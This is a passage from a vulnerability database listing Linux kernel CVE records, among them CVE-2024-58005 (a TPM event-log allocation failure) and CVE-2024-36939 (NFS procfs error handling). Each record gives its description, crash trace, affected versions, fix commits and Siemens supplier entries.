        }
      ],
      "title": "padata: Fix possible divide-by-0 panic in padata_mt_helper()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43889",
    "datePublished": "2024-08-26T10:10:42.270Z",
    "dateReserved": "2024-08-17T09:11:59.288Z",
    "dateUpdated": "2026-05-12T11:57:10.516Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58005 (GCVE-0-2024-58005)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:01

Title

tpm: Change to kvalloc() in eventlog/acpi.c

Summary

In the Linux kernel, the following vulnerability has been resolved: tpm: Change to kvalloc() in eventlog/acpi.c The following failure was reported on HPE ProLiant D320: [ 10.693310][ T1] tpm_tis STM0925:00: 2.0 TPM (device-id 0x3, rev-id 0) [ 10.848132][ T1] ------------[ cut here ]------------ [ 10.853559][ T1] WARNING: CPU: 59 PID: 1 at mm/page_alloc.c:4727 __alloc_pages_noprof+0x2ca/0x330 [ 10.862827][ T1] Modules linked in: [ 10.866671][ T1] CPU: 59 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.12.0-lp155.2.g52785e2-default #1 openSUSE Tumbleweed (unreleased) 588cd98293a7c9eba9013378d807364c088c9375 [ 10.882741][ T1] Hardware name: HPE ProLiant DL320 Gen12/ProLiant DL320 Gen12, BIOS 1.20 10/28/2024 [ 10.892170][ T1] RIP: 0010:__alloc_pages_noprof+0x2ca/0x330 [ 10.898103][ T1] Code: 24 08 e9 4a fe ff ff e8 34 36 fa ff e9 88 fe ff ff 83 fe 0a 0f 86 b3 fd ff ff 80 3d 01 e7 ce 01 00 75 09 c6 05 f8 e6 ce 01 01 <0f> 0b 45 31 ff e9 e5 fe ff ff f7 c2 00 00 08 00 75 42 89 d9 80 e1 [ 10.917750][ T1] RSP: 0000:ffffb7cf40077980 EFLAGS: 00010246 [ 10.923777][ T1] RAX: 0000000000000000 RBX: 0000000000040cc0 RCX: 0000000000000000 [ 10.931727][ T1] RDX: 0000000000000000 RSI: 000000000000000c RDI: 0000000000040cc0 The above transcript shows that ACPI pointed a 16 MiB buffer for the log events because RSI maps to the 'order' parameter of __alloc_pages_noprof(). Address the bug by moving from devm_kmalloc() to devm_add_action() and kvmalloc() and devm_add_action().

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/a676c0401de59548a…
https://git.kernel.org/stable/c/0621d2599d6e02d05…
https://git.kernel.org/stable/c/77779d1258a287f2c…
https://git.kernel.org/stable/c/50365a6304a57266e…
https://git.kernel.org/stable/c/422d7f4e8d817be46…
https://git.kernel.org/stable/c/4c8bfe643bbd00b04…
https://git.kernel.org/stable/c/a3a860bc0fd6c0733…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < a676c0401de59548a5bc1b7aaf98f556ae8ea6db (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < 0621d2599d6e02d05c85d6bbd58eaea2f15b3503 (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < 77779d1258a287f2c5c2c6aeae203e0996209c77 (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < 50365a6304a57266e8f4d3078060743c3b7a1e0d (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < 422d7f4e8d817be467986589c7968d3ea402f7da (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < 4c8bfe643bbd00b04ee8f9545ef33bf6a68c38db (git) Affected: 55a82ab3181be039c6440d3f2f69260ad6fe2988 , < a3a860bc0fd6c07332e4911cf9a238d20de90173 (git)
Linux	Linux	Affected: 2.6.16 Unaffected: 0 , < 2.6.16 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:18.687Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:50.062Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/tpm/eventlog/acpi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a676c0401de59548a5bc1b7aaf98f556ae8ea6db",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "0621d2599d6e02d05c85d6bbd58eaea2f15b3503",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "77779d1258a287f2c5c2c6aeae203e0996209c77",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "50365a6304a57266e8f4d3078060743c3b7a1e0d",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "422d7f4e8d817be467986589c7968d3ea402f7da",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "4c8bfe643bbd00b04ee8f9545ef33bf6a68c38db",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            },
            {
              "lessThan": "a3a860bc0fd6c07332e4911cf9a238d20de90173",
              "status": "affected",
              "version": "55a82ab3181be039c6440d3f2f69260ad6fe2988",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/tpm/eventlog/acpi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.16"
            },
            {
              "lessThan": "2.6.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntpm: Change to kvalloc() in eventlog/acpi.c\n\nThe following failure was reported on HPE ProLiant D320:\n\n[   10.693310][    T1] tpm_tis STM0925:00: 2.0 TPM (device-id 0x3, rev-id 0)\n[   10.848132][    T1] ------------[ cut here ]------------\n[   10.853559][    T1] WARNING: CPU: 59 PID: 1 at mm/page_alloc.c:4727 __alloc_pages_noprof+0x2ca/0x330\n[   10.862827][    T1] Modules linked in:\n[   10.866671][    T1] CPU: 59 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.12.0-lp155.2.g52785e2-default #1 openSUSE Tumbleweed (unreleased) 588cd98293a7c9eba9013378d807364c088c9375\n[   10.882741][    T1] Hardware name: HPE ProLiant DL320 Gen12/ProLiant DL320 Gen12, BIOS 1.20 10/28/2024\n[   10.892170][    T1] RIP: 0010:__alloc_pages_noprof+0x2ca/0x330\n[   10.898103][    T1] Code: 24 08 e9 4a fe ff ff e8 34 36 fa ff e9 88 fe ff ff 83 fe 0a 0f 86 b3 fd ff ff 80 3d 01 e7 ce 01 00 75 09 c6 05 f8 e6 ce 01 01 \u003c0f\u003e 0b 45 31 ff e9 e5 fe ff ff f7 c2 00 00 08 00 75 42 89 d9 80 e1\n[   10.917750][    T1] RSP: 0000:ffffb7cf40077980 EFLAGS: 00010246\n[   10.923777][    T1] RAX: 0000000000000000 RBX: 0000000000040cc0 RCX: 0000000000000000\n[   10.931727][    T1] RDX: 0000000000000000 RSI: 000000000000000c RDI: 0000000000040cc0\n\nThe above transcript shows that ACPI pointed a 16 MiB buffer for the log\nevents because RSI maps to the \u0027order\u0027 parameter of __alloc_pages_noprof().\nAddress the bug by moving from devm_kmalloc() to devm_add_action() and\nkvmalloc() and devm_add_action()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:57.391Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a676c0401de59548a5bc1b7aaf98f556ae8ea6db"
        },
        {
          "url": "https://git.kernel.org/stable/c/0621d2599d6e02d05c85d6bbd58eaea2f15b3503"
        },
        {
          "url": "https://git.kernel.org/stable/c/77779d1258a287f2c5c2c6aeae203e0996209c77"
        },
        {
          "url": "https://git.kernel.org/stable/c/50365a6304a57266e8f4d3078060743c3b7a1e0d"
        },
        {
          "url": "https://git.kernel.org/stable/c/422d7f4e8d817be467986589c7968d3ea402f7da"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c8bfe643bbd00b04ee8f9545ef33bf6a68c38db"
        },
        {
          "url": "https://git.kernel.org/stable/c/a3a860bc0fd6c07332e4911cf9a238d20de90173"
        }
      ],
      "title": "tpm: Change to kvalloc() in eventlog/acpi.c",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58005",
    "datePublished": "2025-02-27T02:12:02.232Z",
    "dateReserved": "2025-02-27T02:10:48.226Z",
    "dateUpdated": "2026-05-12T12:01:50.062Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36939 (GCVE-0-2024-36939)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

nfs: Handle error of rpc_proc_register() in nfs_net_init().

Summary

In the Linux kernel, the following vulnerability has been resolved: nfs: Handle error of rpc_proc_register() in nfs_net_init(). syzkaller reported a warning [0] triggered while destroying immature netns. rpc_proc_register() was called in init_nfs_fs(), but its error has been ignored since at least the initial commit 1da177e4c3f4 ("Linux-2.6.12-rc2"). Recently, commit d47151b79e32 ("nfs: expose /proc/net/sunrpc/nfs in net namespaces") converted the procfs to per-netns and made the problem more visible. Even when rpc_proc_register() fails, nfs_net_init() could succeed, and thus nfs_net_exit() will be called while destroying the netns. Then, remove_proc_entry() will be called for non-existing proc directory and trigger the warning below. Let's handle the error of rpc_proc_register() properly in nfs_net_init(). [0]: name 'nfs' WARNING: CPU: 1 PID: 1710 at fs/proc/generic.c:711 remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711 Modules linked in: CPU: 1 PID: 1710 Comm: syz-executor.2 Not tainted 6.8.0-12822-gcd51db110a7e #12 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711 Code: 41 5d 41 5e c3 e8 85 09 b5 ff 48 c7 c7 88 58 64 86 e8 09 0e 71 02 e8 74 09 b5 ff 4c 89 e6 48 c7 c7 de 1b 80 84 e8 c5 ad 97 ff <0f> 0b eb b1 e8 5c 09 b5 ff 48 c7 c7 88 58 64 86 e8 e0 0d 71 02 eb RSP: 0018:ffffc9000c6d7ce0 EFLAGS: 00010286 RAX: 0000000000000000 RBX: ffff8880422b8b00 RCX: ffffffff8110503c RDX: ffff888030652f00 RSI: ffffffff81105045 RDI: 0000000000000001 RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000001 R11: ffffffff81bb62cb R12: ffffffff84807ffc R13: ffff88804ad6fcc0 R14: ffffffff84807ffc R15: ffffffff85741ff8 FS: 00007f30cfba8640(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ff51afe8000 CR3: 000000005a60a005 CR4: 0000000000770ef0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <TASK> rpc_proc_unregister+0x64/0x70 net/sunrpc/stats.c:310 nfs_net_exit+0x1c/0x30 fs/nfs/inode.c:2438 ops_exit_list+0x62/0xb0 net/core/net_namespace.c:170 setup_net+0x46c/0x660 net/core/net_namespace.c:372 copy_net_ns+0x244/0x590 net/core/net_namespace.c:505 create_new_namespaces+0x2ed/0x770 kernel/nsproxy.c:110 unshare_nsproxy_namespaces+0xae/0x160 kernel/nsproxy.c:228 ksys_unshare+0x342/0x760 kernel/fork.c:3322 __do_sys_unshare kernel/fork.c:3393 [inline] __se_sys_unshare kernel/fork.c:3391 [inline] __x64_sys_unshare+0x1f/0x30 kernel/fork.c:3391 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x4f/0x110 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x46/0x4e RIP: 0033:0x7f30d0febe5d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 73 9f 1b 00 f7 d8 64 89 01 48 RSP: 002b:00007f30cfba7cc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000110 RAX: ffffffffffffffda RBX: 00000000004bbf80 RCX: 00007f30d0febe5d RDX: 0000000000000000 RSI: 0000000000000000 RDI: 000000006c020600 RBP: 00000000004bbf80 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000002 R13: 000000000000000b R14: 00007f30d104c530 R15: 0000000000000000 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/b33ca18c3a1190208…
https://git.kernel.org/stable/c/d4891d817350c6739…
https://git.kernel.org/stable/c/ea6ce93327bd2c8a0…
https://git.kernel.org/stable/c/8ae63bd858691bee0…
https://git.kernel.org/stable/c/8a1f89c98dcc542dd…
https://git.kernel.org/stable/c/9909dde2e53a19585…
https://git.kernel.org/stable/c/24457f1be29f1e704…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < b33ca18c3a1190208dfd569c4fa8a2f93084709f (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d4891d817350c67392d4731536945f3809a2a0ba (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ea6ce93327bd2c8a0c6cf6f2f0e800f3b778f021 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8ae63bd858691bee0e2a92571f2fbb36a4d86d65 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8a1f89c98dcc542dd6d287e573523714702e0f9c (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9909dde2e53a19585212c32fe3eda482b5faaaa3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 24457f1be29f1e7042e50a7749f5c2dde8c433c8 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36939",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-03T18:55:43.324430Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:06.262Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:43:50.092Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b33ca18c3a1190208dfd569c4fa8a2f93084709f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d4891d817350c67392d4731536945f3809a2a0ba"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ea6ce93327bd2c8a0c6cf6f2f0e800f3b778f021"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ae63bd858691bee0e2a92571f2fbb36a4d86d65"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a1f89c98dcc542dd6d287e573523714702e0f9c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9909dde2e53a19585212c32fe3eda482b5faaaa3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24457f1be29f1e7042e50a7749f5c2dde8c433c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:17.924Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b33ca18c3a1190208dfd569c4fa8a2f93084709f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d4891d817350c67392d4731536945f3809a2a0ba",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ea6ce93327bd2c8a0c6cf6f2f0e800f3b778f021",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8ae63bd858691bee0e2a92571f2fbb36a4d86d65",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8a1f89c98dcc542dd6d287e573523714702e0f9c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9909dde2e53a19585212c32fe3eda482b5faaaa3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "24457f1be29f1e7042e50a7749f5c2dde8c433c8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs: Handle error of rpc_proc_register() in nfs_net_init().\n\nsyzkaller reported a warning [0] triggered while destroying immature\nnetns.\n\nrpc_proc_register() was called in init_nfs_fs(), but its error\nhas been ignored since at least the initial commit 1da177e4c3f4\n(\"Linux-2.6.12-rc2\").\n\nRecently, commit d47151b79e32 (\"nfs: expose /proc/net/sunrpc/nfs\nin net namespaces\") converted the procfs to per-netns and made\nthe problem more visible.\n\nEven when rpc_proc_register() fails, nfs_net_init() could succeed,\nand thus nfs_net_exit() will be called while destroying the netns.\n\nThen, remove_proc_entry() will be called for non-existing proc\ndirectory and trigger the warning below.\n\nLet\u0027s handle the error of rpc_proc_register() properly in nfs_net_init().\n\n[0]:\nname \u0027nfs\u0027\nWARNING: CPU: 1 PID: 1710 at fs/proc/generic.c:711 remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711\nModules linked in:\nCPU: 1 PID: 1710 Comm: syz-executor.2 Not tainted 6.8.0-12822-gcd51db110a7e #12\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nRIP: 0010:remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711\nCode: 41 5d 41 5e c3 e8 85 09 b5 ff 48 c7 c7 88 58 64 86 e8 09 0e 71 02 e8 74 09 b5 ff 4c 89 e6 48 c7 c7 de 1b 80 84 e8 c5 ad 97 ff \u003c0f\u003e 0b 